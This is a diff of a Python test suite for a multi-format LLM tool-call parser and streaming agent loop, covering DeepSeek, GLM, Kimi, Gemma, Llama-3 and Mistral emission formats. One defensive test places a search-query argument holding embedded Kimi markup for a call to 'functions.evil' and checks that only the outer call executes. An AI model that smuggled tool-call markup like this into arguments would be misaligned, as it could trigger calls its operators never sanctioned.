+        assert len(parse_tool_calls_from_text(text)) == 1
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+    def test_v3_1_multi_call_recovers_when_first_end_marker_missing(self):
+        # First inner call omits its <｜tool▁call▁end｜>; the second must still be parsed.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["get_time", "get_weather"]
+
+    def test_v3_1_strict_recovers_after_missing_call_end(self):
+        # Strict mode (Auto-Heal off): the FIRST inner call is missing its <｜tool▁call▁end｜>
+        # terminator, so it is skipped -- but the parser must keep scanning and still return the ...
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "SF"}'
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"tz": "PST"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        # Auto-Heal keeps both; strict skips the truncated first, keeps the second.
+        assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == [
+            "get_weather",
+            "get_time",
+        ]
+        strict = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert [c["function"]["name"] for c in strict] == ["get_time"]
+
+    def test_r1_strict_recovers_after_missing_close_fence(self):
+        # R1 form.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "function<｜tool▁sep｜>get_weather\n```json\n"
+            '{"city": "SF"}'
+            "function<｜tool▁sep｜>get_time\n```json\n"
+            '{"tz": "PST"}'
+            "\n```<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        strict = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert [c["function"]["name"] for c in strict] == ["get_time"]
+
+    def test_deepseek_strip_markup(self):
+        text = (
+            "before "
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>foo"
+            "<｜tool▁sep｜>"
+            "{}"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_deepseek_signal_wakes_streaming(self):
+        # The streaming buffer state machine must wake on the DeepSeek opener so the rest of the
+        # section is drained instead of leaked.
+        text = "<｜tool▁calls▁begin｜>..."
+        assert has_tool_signal(text)
+
+    def test_deepseek_short_opener_is_stripped(self):
+        # The short ``<｜tool▁calls｜>`` opener is parsed, so its markup must also be stripped (the
+        # strip patterns used to require ...calls_begin and left the short-opener markup leaking to ...
+        text = (
+            "before "
+            "<｜tool▁calls｜>"
+            "<｜tool▁call▁begin｜>foo"
+            "<｜tool▁sep｜>"
+            "{}"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+
+class TestParserGLM:
+    """GLM 4.5 / 4.6 / 4.7 coverage. Marker collides with Qwen's
+    ``<tool_call>`` but the body shape is XML kv pairs instead of JSON,
+    so the dispatch order keeps both formats working."""
+
+    def test_glm_simple_call(self):
+        import json as _json
+
+        text = (
+            "<tool_call>web_search\n"
+            "<arg_key>query</arg_key>\n"
+            "<arg_value>weather Tokyo</arg_value>\n"
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = _json.loads(result[0]["function"]["arguments"])
+        # Strings come through raw; the parser does not double-quote.
+        assert args == {"query": "weather Tokyo"}
+
+    def test_glm_mixed_types_decode_correctly(self):
+        # Per the chat_template.jinja, strings are emitted raw and non-strings are JSON-encoded.
+        import json as _json
+
+        text = (
+            "<tool_call>complex_function\n"
+            "<arg_key>name</arg_key>\n<arg_value>John Doe</arg_value>\n"
+            "<arg_key>age</arg_key>\n<arg_value>30</arg_value>\n"
+            "<arg_key>active</arg_key>\n<arg_value>true</arg_value>\n"
+            "<arg_key>score</arg_key>\n<arg_value>95.5</arg_value>\n"
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args == {"name": "John Doe", "age": 30, "active": True, "score": 95.5}
+
+    def test_glm_multi_call_back_to_back(self):
+        # GLM emits parallel calls as consecutive ``<tool_call>...
+        # </tool_call>`` blocks with no outer envelope.
+        text = (
+            "<tool_call>a\n<arg_key>x</arg_key>\n<arg_value>1</arg_value>\n</tool_call>"
+            "<tool_call>b\n<arg_key>y</arg_key>\n<arg_value>2</arg_value>\n</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_glm_unclosed_tool_call_does_not_lose_value(self):
+        # Truncated mid-stream (no </tool_call>) -- the parser must
+        # still surface what it found rather than dropping the call.
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n<arg_value>partial</arg_value>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_glm_does_not_break_qwen_path(self):
+        # Real Qwen emission must still be parsed by the Qwen branch,
+        # not silently misrouted to GLM (the marker is shared).
+        text = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_glm_strip_markup(self):
+        text = (
+            "before "
+            "<tool_call>a\n<arg_key>x</arg_key>\n<arg_value>1</arg_value>\n</tool_call>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_glm_zero_arg_inline_call(self):
+        # GLM 4.7 emits a no-argument call inline as ``<tool_call>name</tool_call>`` (name followed
+        # straight by the close tag, no \n / <arg_key>).
+        import json as _json
+
+        text = "<tool_call>get_current_date</tool_call>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_current_date"
+        assert _json.loads(result[0]["function"]["arguments"]) == {}
+
+    def test_glm_zero_arg_call_in_parallel_batch(self):
+        # A no-arg call alongside a normal one must not make either vanish.
+        text = (
+            "<tool_call>get_current_date</tool_call>"
+            "<tool_call>get_weather\n<arg_key>city</arg_key>\n"
+            "<arg_value>Tokyo</arg_value></tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "get_current_date"
+        assert result[1]["function"]["name"] == "get_weather"
+
+    def test_glm_string_value_whitespace_preserved(self):
+        # The template emits string args verbatim, so significant leading / trailing whitespace
+        # (code, diffs) must survive.
+        import json as _json
+
+        text = (
+            "<tool_call>run\n<arg_key>code</arg_key>\n"
+            "<arg_value>    indented code    </arg_value></tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args == {"code": "    indented code    "}
+
+
+class TestParserKimi:
+    """Kimi K2 / Moonshot coverage. ASCII pipes only (NOT full-width).
+    Name arrives as ``functions.NAME:IDX``; the parser strips the
+    prefix and the index to recover the bare callable name while
+    preserving the full id for round-trip rendering."""
+
+    def test_kimi_simple_call(self):
+        import json as _json
+
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.special_function:0"
+            "<|tool_call_argument_begin|>"
+            '{"arg1": 1}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        # Bare name recovered; full id preserved verbatim.
+        assert result[0]["function"]["name"] == "special_function"
+        assert result[0]["id"] == "functions.special_function:0"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_outer_tool_call_with_embedded_kimi_marker_parses_outer(self):
+        # A Qwen/Hermes <tool_call> whose argument contains literal Kimi markup (a user asking
+        # about that syntax) must execute the OUTER call, not the embedded marker via the ...
+        text = (
+            '<tool_call>{"name":"web_search","arguments":{"query":'
+            '"explain <|tool_call_begin|>functions.evil:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}'
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_genuine_kimi_call_without_envelope_still_parses(self):
+        # Control: a real Kimi call with no leading <tool_call> envelope must
+        # still go through the pre-pass.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.web_search:0"
+            '<|tool_call_argument_begin|>{"query":"x"}<|tool_call_end|>'
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_kimi_multi_call_with_index(self):
+        # Multiple consecutive calls inside a single section, each
+        # with its own monotonically incrementing ``:IDX``.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.read_file:0"
+            "<|tool_call_argument_begin|>"
+            '{"path":"a"}'
+            "<|tool_call_end|>"
+            "<|tool_call_begin|>functions.web_search:1"
+            "<|tool_call_argument_begin|>"
+            '{"query":"x"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "read_file"
+        assert result[0]["id"].endswith(":0")
+        assert result[1]["function"]["name"] == "web_search"
+        assert result[1]["id"].endswith(":1")
+
+    def test_kimi_dotted_name_keeps_full_dotted_name(self):
+        # A dotted Kimi id keeps its FULL name after stripping only the ``functions.`` prefix and
+        # ``:idx`` suffix -- matching current vLLM ...
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>a.b.c:2"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "a.b.c"
+
+    def test_kimi_dotted_mcp_name_with_functions_prefix(self):
+        # ``functions.mcp.server-list:0`` must resolve to ``mcp.server-list``
+        # (only the ``functions.`` prefix and ``:idx`` are removed).
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.mcp.server-list:0"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp.server-list"
+
+    def test_kimi_multi_call_recovers_when_first_end_marker_missing(self):
+        # First call omits its <|tool_call_end|>; the second must still parse.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.read_file:0"
+            "<|tool_call_argument_begin|>"
+            '{"path":"a"}'
+            "<|tool_call_begin|>functions.web_search:1"
+            "<|tool_call_argument_begin|>"
+            '{"query":"x"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["read_file", "web_search"]
+
+    def test_kimi_handles_unclosed_section(self):
+        # End marker missing -- the parser must still extract the call.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.foo:0"
+            "<|tool_call_argument_begin|>"
+            '{"a":1}'
+            "<|tool_call_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "foo"
+
+    def test_kimi_strip_markup(self):
+        text = (
+            "before "
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.x:0"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_kimi_signal_wakes_streaming(self):
+        text = "<|tool_calls_section_begin|>..."
+        assert has_tool_signal(text)
+
+    def test_kimi_call_without_section_wrapper(self):
+        # llama.cpp makes the ``<|tool_calls_section_begin|>`` wrapper optional -- Kimi K2 can emit
+        # a bare ``<|tool_call_begin|>`` call.
+        import json as _json
+
+        text = (
+            "<|tool_call_begin|>functions.execute_command:0"
+            "<|tool_call_argument_begin|>"
+            '{"cmd":"ls"}'
+            "<|tool_call_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "execute_command"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"cmd": "ls"}
+
+    def test_kimi_malformed_json_recovers_later_calls(self):
+        # A call with malformed / truncated JSON must not drop the valid calls that follow it in
+        # the same section (the bad call is skipped, the good one is recovered).
+        import json as _json
+
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.a:0"
+            '<|tool_call_argument_begin|>{"city":"Beijing"'  # missing closing brace
+            "<|tool_call_end|>"
+            "<|tool_call_begin|>functions.b:1"
+            '<|tool_call_argument_begin|>{"city":"Shanghai"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "b"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Shanghai"}
+
+
+class TestParserCrossFormatRouting:
+    """Ensure the per-format dispatch order doesn't misroute any
+    family. Real emissions for each new family + every old family
+    must still parse correctly when intermixed."""
+
+    def test_dispatch_routes_each_family_correctly(self):
+        cases = [
+            (
+                "Qwen",
+                '<tool_call>{"name":"a","arguments":{"x":1}}</tool_call>',
+                "a",
+            ),
+            (
+                "DeepSeek V3.1",
+                "<｜tool▁calls▁begin｜>"
+                "<｜tool▁call▁begin｜>get_time"
+                "<｜tool▁sep｜>"
+                '{"city":"Tokyo"}'
+                "<｜tool▁call▁end｜>"
+                "<｜tool▁calls▁end｜>",
+                "get_time",
+            ),
+            (
+                "GLM",
+                "<tool_call>web_search\n"
+                "<arg_key>q</arg_key>\n<arg_value>x</arg_value>\n"
+                "</tool_call>",
+                "web_search",
+            ),
+            (
+                "Kimi",
+                "<|tool_calls_section_begin|>"
+                "<|tool_call_begin|>functions.add:0"
+                "<|tool_call_argument_begin|>"
+                '{"a":1}'
+                "<|tool_call_end|>"
+                "<|tool_calls_section_end|>",
+                "add",
+            ),
+        ]
+        for label, text, expected_name in cases:
+            result = parse_tool_calls_from_text(text)
+            assert len(result) == 1, f"{label}: parser missed the call"
+            assert result[0]["function"]["name"] == expected_name, (
+                f"{label}: got {result[0]['function']['name']!r}, " f"expected {expected_name!r}"
+            )
+
+    def test_all_new_markers_in_tool_xml_signals(self):
+        # The safetensors / MLX streaming buffer must wake on every supported emission marker --
+        # otherwise the BUFFERING state leaks tool content to the user before parse.
+        from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+        for marker in (
+            "<｜tool▁calls▁begin｜>",
+            "<｜tool▁call▁begin｜>",
+            "<|tool_calls_section_begin|>",
+            "<|tool_call_begin|>",
+        ):
+            assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}"
+
+
 def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     captured_tool_names: list[list[str]] = []
     exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
@@ -739,7 +1391,8 @@ def test_active_tools_are_passed_to_single_turn_after_render_html_success():
 
 
 def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call():
-    # A late unclosed <tool_call> heals only with Auto-Heal on; off, it must not execute.
+    # A late call caught by the safety net: an unclosed ``<tool_call>`` heals only with Auto-Heal on;
+    # off, the safety net must not pass ``allow_incomplete=True`` and execute a truncated call.
     prose = "Sure, let me look that up for you right now. "
     incomplete = '<tool_call>{"name":"web_search","arguments":{"query":"weather in Sydney"}}'
 
@@ -764,7 +1417,9 @@ def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call():
 
 
 def test_bare_json_tool_call_is_not_streamed_as_content():
-    # Llama-3.2 bare form carries no XML signal: BUFFER until the object closes, never leak the JSON.
+    # Llama-3.2 ``custom_tools`` bare form ``{"name":..,"parameters":..}`` carries no
+    # XML signal. The loop must BUFFER it until the object closes and execute it via
+    # the safety net, never leaking the raw JSON to streaming clients as content.
     bare = '{"name":"web_search","parameters":{"query":"cats"}}'
     loop, exec_fn = _make_loop(
         turns = [[bare], ["Here are the results."]],
@@ -779,7 +1434,9 @@ def test_bare_json_tool_call_is_not_streamed_as_content():
 
 
 def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call():
-    # Markerless JSON whose "name" is not an enabled tool must be shown, not dropped.
+    # Markerless JSON whose "name" is not an enabled tool (e.g. a person record
+    # ``{"name":"Alice",...}``) must be shown as the answer, not misread as a call
+    # to a disabled tool and dropped. _make_loop enables web_search/python/terminal.
     answer = '{"name":"Alice","parameters":{"age":30}}'
     loop, exec_fn = _make_loop(turns = [[answer]], max_tool_iterations = 1)
     events = _collect_events(loop)
@@ -789,7 +1446,8 @@ def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call():
 
 
 def test_bare_json_tool_call_split_across_chunks_is_not_streamed():
-    # Same as above but the bare object arrives split mid-key, held across chunks until it balances.
+    # Same as above but the bare object arrives split mid-key, so the buffer is
+    # held open across chunks before it balances.
     loop, exec_fn = _make_loop(
         turns = [
             ['{"name":"web_', 'search","parameters":{"query":"cats"}}'],
@@ -804,8 +1462,68 @@ def test_bare_json_tool_call_split_across_chunks_is_not_streamed():
     assert not any('"name"' in t or "web_search" in t for t in contents), contents
 
 
+def test_gemma_wrapperless_call_is_not_streamed_as_content():
+    # Gemma 4 wrapper-less ``call:NAME{...}`` has no XML signal; the loop must hold
+    # it (BUFFERING) and execute it, never streaming the raw call text.
+    loop, exec_fn = _make_loop(
+        turns = [["call:web_search{query:cats}"], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call:web_search" in t for t in contents), contents
+
+
+def test_gemma_wrapperless_call_with_whitespace_is_suppressed_when_streamed():
+    # Gemma may emit ``call : NAME{...}`` with whitespace around the colon, split across stream
+    # chunks.
+    loop, exec_fn = _make_loop(
+        turns = [["call", " : ", "web_search", "{query:cats}"], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call" in t for t in contents), contents
+
+
+def test_long_gemma_tool_name_is_not_streamed_as_content():
+    # A tool name longer than the small buffer cap (OpenAI 64 chars, MCP longer)
+    # must still be held: the ``call:NAME`` prefix keeps buffering until ``{``
+    # instead of leaking ``call:longname`` as visible text.
+    long_name = "mcp__github__list_repository_issues"  # 35 chars
+    turns = iter([list('call:%s{repo:"octo/hello"}' % long_name), ["Done."]])
+
+    def _gen(_messages):
+        try:
+            chunks = next(turns)
+        except StopIteration:
+            return
+        acc = ""
+        for c in chunks:
+            acc += c
+            yield acc
+
+    exec_fn = FakeExecuteTool(["RESULT"])
+    loop = run_safetensors_tool_loop(
+        single_turn = _gen,
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": long_name}}],
+        execute_tool = exec_fn,
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [(long_name, {"repo": "octo/hello"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call:" in t for t in contents), contents
+
+
 def test_leading_json_answer_is_not_dropped():
-    # A leading {...} that is NOT a call must still surface; the hold only delays it.
+    # A leading ``{...}`` that is NOT a tool call must still surface as content:
+    # the bare-JSON hold can only ever delay it to end-of-object, never drop it.
     obj = '{"answer": 42, "note": "done"}'
     loop, exec_fn = _make_loop(
         turns = [[obj]],
@@ -844,7 +1562,8 @@ def _reprompt_loop(*, auto_heal_tool_calls):
 
 
 def test_reprompt_names_only_active_tools_not_hardcoded():
-    # The nudge must name the tools actually enabled, not hardcoded web_search/python.
+    # The plan-without-action nudge must name the tools actually enabled, never the
+    # old hardcoded ``web_search``/``python`` (which a restricted set would reject).
     captured, _events = _reprompt_loop(auto_heal_tool_calls = True)
     assert len(captured) >= 2, "intent prose should have triggered a re-prompt turn"
     reprompt = captured[1][-1]
@@ -855,7 +1574,8 @@ def test_reprompt_names_only_active_tools_not_hardcoded():
 
 
 def test_reprompt_suppressed_when_auto_heal_disabled():
-    # With Auto-Heal off the nudge stays silent for GGUF parity, so only the initial generation runs.
+    # With Auto-Heal off the safetensors nudge must stay silent for backend parity
+    # with the GGUF loop, so only the single initial generation runs.
     captured, events = _reprompt_loop(auto_heal_tool_calls = False)
     assert len(captured) == 1, captured
     contents = [e["text"] for e in events if e["type"] == "content"]
@@ -922,7 +1642,8 @@ class TestLoopBasic:
         assert "Result: 1" in contents[-1]["text"]
 
     def test_llama3_python_tag_form(self):
-        # The loop must recognise Llama-3's <|python_tag|> marker, drain the turn, and execute the call.
+        # The agentic loop must recognise Llama-3's <|python_tag|>
+        # marker, drain the rest of the turn, and execute the call.
         loop, exec_fn = _make_loop(
             turns = [
                 [
@@ -940,8 +1661,12 @@ class TestLoopBasic:
         assert "sunny" in contents[-1]["text"].lower()
 
     def test_llama3_bare_json_form_fires_tool(self):
-        # Llama-3.1/3.2 bare-JSON calls carry no XML signal; the safety-net parse must still fire
-        # the tool. Regression for the has_tool_signal gate that dropped these.
+        # Llama-3.1 / 3.2 emit a bare-JSON tool call
+        # ``{"name":..,"parameters":..}`` with NO XML signal. The loop's
+        # safety-net parse must still fire the tool instead of treating the
+        # turn as "planned without calling tools" and re-prompting the model
+        # into giving up. Regression for the has_tool_signal gate that
+        # dropped these; GGUF's llama-server parses them natively.
         loop, exec_fn = _make_loop(
             turns = [
                 ['{"name": "web_search", "parameters": {"query": "weather in SF"}}'],
@@ -955,7 +1680,7 @@ class TestLoopBasic:
         assert "sunny" in contents[-1]["text"].lower()
 
     def test_mistral_pre_v11_form(self):
-        # Pre-v11 Mistral emission: [TOOL_CALLS] [{...}].
+        # Pre-v11 Mistral emission: ``[TOOL_CALLS] [{...}]``.
         loop, exec_fn = _make_loop(
             turns = [
                 [
@@ -973,7 +1698,7 @@ class TestLoopBasic:
         assert tool_start["tool_call_id"] == "abc"
 
     def test_mistral_v11_form(self):
-        # v11+ Mistral emission: bare name{json} after the trigger.
+        # v11+ Mistral emission: bare ``name{json}`` after the trigger.
         loop, exec_fn = _make_loop(
             turns = [
                 ['[TOOL_CALLS]web_search{"query":"hi"}'],
@@ -985,7 +1710,7 @@ class TestLoopBasic:
         assert exec_fn.calls == [("web_search", {"query": "hi"})]
 
     def test_gemma4_form(self):
-        # Gemma 4 emission: <|tool_call>call:NAME{...}<tool_call|>.
+        # Gemma 4 emission: ``<|tool_call>call:NAME{...}<tool_call|>``.
         loop, exec_fn = _make_loop(
             turns = [
                 [
@@ -1000,6 +1725,70 @@ class TestLoopBasic:
         events = _collect_events(loop)
         assert exec_fn.calls == [("web_search", {"query": "weather"})]
 
+    def test_deepseek_v3_1_form(self):
+        # DeepSeek V3.1 emission inside the agentic loop -- the buffer state machine must wake on
+        # ``<｜tool▁calls▁begin｜>`` and the parser must extract the V3.1 bare-JSON body.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<｜tool▁calls▁begin｜>",
+                    "<｜tool▁call▁begin｜>web_search",
+                    "<｜tool▁sep｜>",
+                    '{"query":"Tokyo weather"}',
+                    "<｜tool▁call▁end｜>",
+                    "<｜tool▁calls▁end｜>",
+                ],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo weather"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "sunny" in contents[-1]["text"].lower()
+
+    def test_glm_form(self):
+        # GLM 4.x emission: ``<tool_call>NAME\n<arg_key>...``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<tool_call>web_search\n",
+                    "<arg_key>query</arg_key>\n",
+                    "<arg_value>Tokyo</arg_value>\n",
+                    "</tool_call>",
+                ],
+                ["found"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo"})]
+
+    def test_kimi_form(self):
+        # Kimi K2 emission ``<|tool_calls_section_begin|>...``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|tool_calls_section_begin|>",
+                    "<|tool_call_begin|>functions.web_search:0",
+                    "<|tool_call_argument_begin|>",
+                    '{"query":"Tokyo"}',
+                    "<|tool_call_end|>",
+                    "<|tool_calls_section_end|>",
+                ],
+                ["done"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        # The bare name must reach execute_tool, even though the model
+        # emitted ``functions.web_search:0`` as the formatted id.
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo"})]
+        # tool_start carries the original full id so the conversation
+        # roundtrip can replay it verbatim.
+        tool_start = next(e for e in events if e["type"] == "tool_start")
+        assert tool_start["tool_call_id"] == "functions.web_search:0"
+
     def test_render_html_emits_provisional_tool_start(self):
         exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
@@ -1360,8 +2149,12 @@ class TestLoopBehaviour:
         assert captured_tool_names[2] == ["web_search", "python"]
 
     def test_duplicate_noop_does_not_consume_budget_at_small_cap(self):
-        # A duplicate no-op turn must NOT spend the tool budget: only turns that execute a tool
-        # count (GGUF parity), so a distinct call can still follow at max_tool_iterations=2.
+        # A duplicate/disabled no-op turn is a correction turn and must NOT spend the
+        # caller's tool budget, so with max_tool_iterations=2 the model can still make a
+        # DISTINCT valid call after repeating one. Only turns that actually execute a
+        # tool count -- matching the GGUF loop. (The budget used to be charged per
+        # non-re-prompt iteration, so the duplicate burned the second slot and the third
+        # turn was sent with no tools, dropping the ``python`` call.)
         captured_tool_names: list[list[str]] = []
         turns = iter(
             [
@@ -1657,7 +2450,8 @@ class TestLoopRePrompt:
         assert contents and contents[-1]["text"].strip() == "4"
 
     def test_max_reprompts_capped_at_three(self):
-        # Model keeps stalling with intent -- after 3 re-prompts the loop must give up.
+        # Model keeps stalling with intent -- after 3 re-prompts the
+        # loop must give up rather than burn forever.
         turns = [["Let me search for that."]] * 6  # well over the cap
         loop, exec_fn = _make_loop(
             turns = turns,
@@ -1670,7 +2464,9 @@ class TestLoopRePrompt:
         assert statuses and statuses[-1]["text"] == ""
 
     def test_short_intent_below_buffer_threshold_triggers_reprompt(self):
-        # Short emission that never exits BUFFERING must still trigger the intent re-prompt.
+        # Short emission that never exits BUFFERING (< 32 chars + no
+        # marker prefix). The unified buffer-end path must still
+        # trigger the intent re-prompt, not silently terminate.
         loop, exec_fn = _make_loop(
             turns = [
                 ["Let me check."],
@@ -1683,7 +2479,9 @@ class TestLoopRePrompt:
         assert exec_fn.calls == [("web_search", {"query": "x"})]
 
     def test_reprompt_does_not_consume_tool_budget(self):
-        # max_tool_iterations=1: the re-prompt must not eat the slot, so the real call still runs.
+        # max_tool_iterations=1: one re-prompt, then one real tool call,
+        # then the budget-exhausted final answer must still fire. If the
+        # re-prompt ate the slot the tool call would never run.
         loop, exec_fn = _make_loop(
             turns = [
                 # 1. Intent stall (re-prompt 1/3).
@@ -1714,7 +2512,8 @@ class TestLoopCanonicalHealKey:
             exec_results = ["1\n"],
         )
         events = _collect_events(loop)
-        # The bare string must heal to {"code": ...}, not {"query": ...}, so the python sandbox runs it.
+        # The bare string must heal to {"code": "print(1)"}, not
+        # {"query": ...}, so the python sandbox actually executes it.
         assert exec_fn.calls == [("python", {"code": "print(1)"})]
 
     def test_terminal_bare_string_heals_to_command(self):
@@ -1744,7 +2543,10 @@ class TestGGUFSafetensorsHealingParity:
     """Pin GGUF vs safetensors/MLX loop parity so a regression on either side breaks CI."""
 
     def test_gguf_imports_shared_signal_markers(self):
-        # The GGUF BUFFERING machine must wake on every shared emission marker, else calls slip past as prose.
+        # The GGUF BUFFERING state machine must wake on every emission
+        # marker the shared parser knows -- otherwise Llama-3 / Mistral
+        # / Gemma 4 emissions slip past as plain prose when the
+        # llama-server structured channel fails.
         import inspect
 
         from core.inference.llama_cpp import LlamaCppBackend
@@ -1756,7 +2558,10 @@ class TestGGUFSafetensorsHealingParity:
         )
 
     def test_gguf_uses_shared_strip_helper(self):
-        # The GGUF stream-cleanup must delegate to the shared strip_tool_markup for every family.
+        # The GGUF stream-cleanup function must delegate to the shared
+        # strip_tool_markup so closed-pair markup is removed for every
+        # emission family (Llama-3 <|python_tag|>, Mistral [TOOL_CALLS],
+        # Gemma 4 <|tool_call>...<tool_call|>).
         import inspect
 
         from core.inference.llama_cpp import LlamaCppBackend
@@ -1767,7 +2572,11 @@ class TestGGUFSafetensorsHealingParity:
         ), "GGUF stream cleanup must delegate to the shared strip_tool_markup helper"
 
     def test_gguf_uses_canonical_heal_keys(self):
-        # GGUF and safetensors heal a bare-string argument to the same canonical key via the shared coerce_tool_arguments.
+        # GGUF and safetensors heal a bare-string ``arguments`` to the same
+        # per-tool canonical key -- ``code`` for python, ``command`` for
+        # terminal, ``query`` for everything else. The mapping is centralised in
